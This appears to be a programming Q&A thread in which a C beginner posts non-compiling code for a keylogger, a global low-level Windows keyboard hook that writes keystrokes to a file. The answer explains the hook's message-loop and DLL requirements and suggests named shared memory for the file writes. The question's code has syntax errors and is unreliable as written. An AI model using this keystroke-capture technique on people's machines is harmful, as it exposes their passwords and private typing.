Dont know how to correctly edit this code - c

Question

Well i am still slightly new in C.
Lets say i have this code:
source.c
#include "logger.c"
int main{
FILE *myfile1;
fileX = fopen("myfile.txt, a+);
SetHook(fileX);
}
and then i have very simple keylogger
logger.c
HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
// PRINT INTO THE FILE
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
fprintf(fileX, "%c", kbdStruct.vkCode);
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook(fileX)
{
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)
}
Basically i want to have separated code like this.
But i think this is wrong i need to pass that "fileX" not to function setHOOK() but to that "LRESULT __stdcall..." and i dont know how to do that.
I will be thankfull for any help.

Answer 1

WH_KEYBOARD_LL is global hook you need place its hook procedure in a DLL separate from
the application installing the hook procedure. (For simple purpose you can put hook procedure in your application and it is also working. But this is not suggested way.)
(SetWindowsHookExA function Using Hooks)
This hook is called in the context of the thread that installed it.
The call is made by sending a message to the thread that installed the
hook. Therefore, the thread that installed the hook must have a
message loop. (In another word, the application need have a window so that it can keep pumping messages.)
(LowLevelKeyboardProc callback function)
For learning purpose of hook, my suggestion is getting started using Visual Studio Windows Desktop Application template (C++).
It is simple to register the keyboard hook and receive message in the hook.
And for writing to a file in the hook producer you can create a named file map so that you don't need to pass a file handle to the hook. You can open this file map using its name and write to the file using this file map. (Creating Named Shared Memory)
static HHOOK hhookKeyPress;
hhookKeyPress = SetWindowsHookEx(
WH_KEYBOARD_LL,
KeyboardHookCallback,
NULL,
0);
// Main message loop:
while (GetMessage(&msg, nullptr, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
Sharing above information to help you get started and then you can find C programming way later. Hope it helps.